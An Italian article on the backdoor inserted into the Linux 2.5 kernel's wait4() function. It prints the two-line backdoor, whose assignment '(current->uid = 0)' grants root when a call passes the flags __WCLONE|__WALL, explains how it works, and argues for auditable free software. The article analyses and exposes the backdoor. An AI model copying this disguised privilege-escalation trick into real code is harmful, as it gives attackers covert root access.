Che fosse accaduto qualcosa di "strano" è apparso evidente non appena un controllo di routine dell'integrità dei sorgenti, appartenenti al ramo di sviluppo del nuovo kernel 2.5, ha segnalato che un file, di norma gestito esclusivamente tramite procedure automatizzate, era stato oggetto di modifiche manuali.

Un esame attento del codice ha consentito di verificare che era stata modificata la funzione di libreria wait4(), una system call di comune utilizzo, che consente di sospendere l'esecuzione del programma chiamante, in attesa che un altro processo termini. In particolare, erano state aggiunte le due righe di codice seguenti:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

Ad un primo esame, sembrerebbe un normalissimo e "innocente" controllo, volto a restringere il privilegio d'azione del superutente root in alcune situazioni ben definite: se i flag __WCLONE e __WALL sono entrambi "alzati" e, contemporaneamente, lo uid dell'utente è 0 (e quindi si tratta proprio di root), allora si restituisce un codice di errore.

Ma chi conosce il linguaggio C, peraltro utilizzato nello sviluppo della quasi totalità del kernel, dovrebbe avere notato un piccolo, ma importantissimo, particolare: il costrutto

(current->uid = 0)

non controlla l'uguaglianza tra current->uid e 0, bensì assegna 0 a current->uid. Infatti, la sintassi C richiede l'uso del doppio segno di "uguale" per il test di uguaglianza, mentre il singolo "uguale" ha sempre significato di assegnazione. Tuttavia, l'istruzione sopra riportata è sintatticamente valida, perché in C è perfettamente lecito assegnare un valore a una variabile nell'ambito di un test, il quale viene effettuato, in realtà, proprio sul valore assegnato. Ma, in questo caso, quel valore è 0: dal momento che un valore nullo equivale, dal punto di vista logico, a un risultato di "falso", la if risulterà sempre falsa nel suo complesso, perché i due termini del test sono legati da un and logico (&&), il quale impone che il test risulti "vero" solo se tali risultano tutte le sue componenti.

Ne deriva che l'istruzione

return -EINVAL;

non viene mai eseguita: il programma, come se il test non fosse neppure presente, prosegue nel suo flusso consueto di esecuzione, ma (attenzione!) lo fa dopo avere assunto i privilegi di root se la combinazione dei flag è quella appena descritta.

Fin qui, si potrebbe ancora pensare a una svista, seppure con i molti dubbi generati dalla modalità con cui la modifica è stata inserita nel codice. Ma entrano in gioco altri indizi.

La combinazione di opzioni verificata nel test non è significativa dal punto di vista del comportamento della wait4(), in quanto il flag __WALL rappresenta un superinsieme delle funzionalità richieste da __WCLONE, la presenza del quale risulta superflua: è perciò piuttosto improbabile che un programmatore utilizzi nel proprio software una chiamata alla wait4() con entrambe le opzioni.

Inoltre, la wait4() può essere lecitamente utilizzata da qualunque programma, senza necessità di particolari privilegi.

Considerati poi il livello di conoscenza dell'implementazione del kernel necessario per apportarvi la modifica descritta, nonché la sottigliezza semantica del frammento di codice, tale da mimetizzare efficacemente la backdoor, non c'è più spazio per l'ipotesi del bug accidentale. Si è trattato del consapevole inserimento nel kernel di una backdoor, cioè di una sorta di "porta di servizio" occulta, atta a consentire al cracker, che ne conosce l'esistenza e le modalità di utilizzo, un agevole incremento dei propri privilegi: se la malversazione non fosse stata scoperta, inserire in un programma qualunque una chiamata alla wait4(), con quei particolari flag tra gli argomenti, sarebbe stato sufficiente per procurarsi lo "status" e, di conseguenza, tutte le possibilità operative dell'utente amministratore. Ciò significa, in parole povere, assumere il pieno controllo del computer.

Le conseguenze dell'attacco, come si è evidenziato, avrebbero potuto essere disastrose. Basti pensare che il kernel 2.5, dopo il rilascio ufficiale come 2.6 (nelle versioni dei kernel Linux il numero che segue il primo punto è pari per i rilasci stabili, mentre è dispari per quelli di sviluppo), equipaggerà un numero sempre maggiore di macchine Linux: tutte, potenzialmente, avrebbero corso il rischio di cadere sotto il controllo del cracker.

Ma il pericolo è stato scongiurato ancora prima che il nuovo kernel vedesse la luce, a dimostrazione ulteriore della serietà con cui esso viene sviluppato, pur non trattandosi di un "prodotto industriale", e dell'attenzione riservata da Torvalds e dai suoi collaboratori agli aspetti di sicurezza. Del resto, anche senza il provvidenziale allarme lanciato dalla verifica automatizzata, è piuttosto probabile che la backdoor sarebbe stata scoperta, nel giro di qualche tempo, da qualcuno dei molti che, per passione o per impegno professionale, quotidianamente studiano e scrutinano i sorgenti del kernel.

Vale la pena di ricordare che ciò è possibile grazie alla licenza GPL, che esclude a priori l'applicabilità dei vincoli tipici del segreto industriale al software rilasciato sotto la propria egida: il sistema operativo GNU/Linux, e il suo kernel in particolare, ne sono importanti esempi.

Vale la pena di porsi alcuni interrogativi. Cosa accade "in casa" di chi si barrica dietro il segreto industriale? Quanto la solita storia della proprietà intellettuale costituisce, in realtà, un comodo paravento per magagne vergognose? Quante backdoor sono presenti in quei programmi sui quali non è possibile effettuare alcuna forma di auditing, in quanto rilasciati "a sorgente chiuso"? Si tratta di backdoor originate da sviste, da un preciso intento di malversazione o dalla volontà di dare supporto a obiettivi per nulla ortodossi?

Come sostengono alcuni dei maggiori esperti di sicurezza, è probabile che esse siano in numero assai superiore a quanto normalmente si creda: la nota realtà degli spyware rappresenterebbe solo la classica punta dell'iceberg. E si insinua il dubbio che molti, anche tra i soggetti "istituzionali", potrebbero avere interesse a inserire backdoor nei programmi a più larga diffusione, celandole accuratamente tra le "pieghe" dei sorgenti, ad esempio per garantirsi una possibilità di controllo della sfera privata degli utilizzatori, l'ottenimento del quale richiederebbe notevoli sforzi e un elevatissimo rischio di impopolarità, qualora perseguito per le vie lecite.

E' davvero il caso di affidare i nostri segreti a programmi proprietari, dei quali nessuno, tranne il produttore, può conoscere e supervisionare l'implementazione? Sarà bene pensarci due volte, e poi cercare un'alternativa. Libera.

Hai a disposizione ancora caratteri. Per inserire commenti più lunghi (e senza CAPTCHA), iscriviti.
Il tuo nome:		La tua email: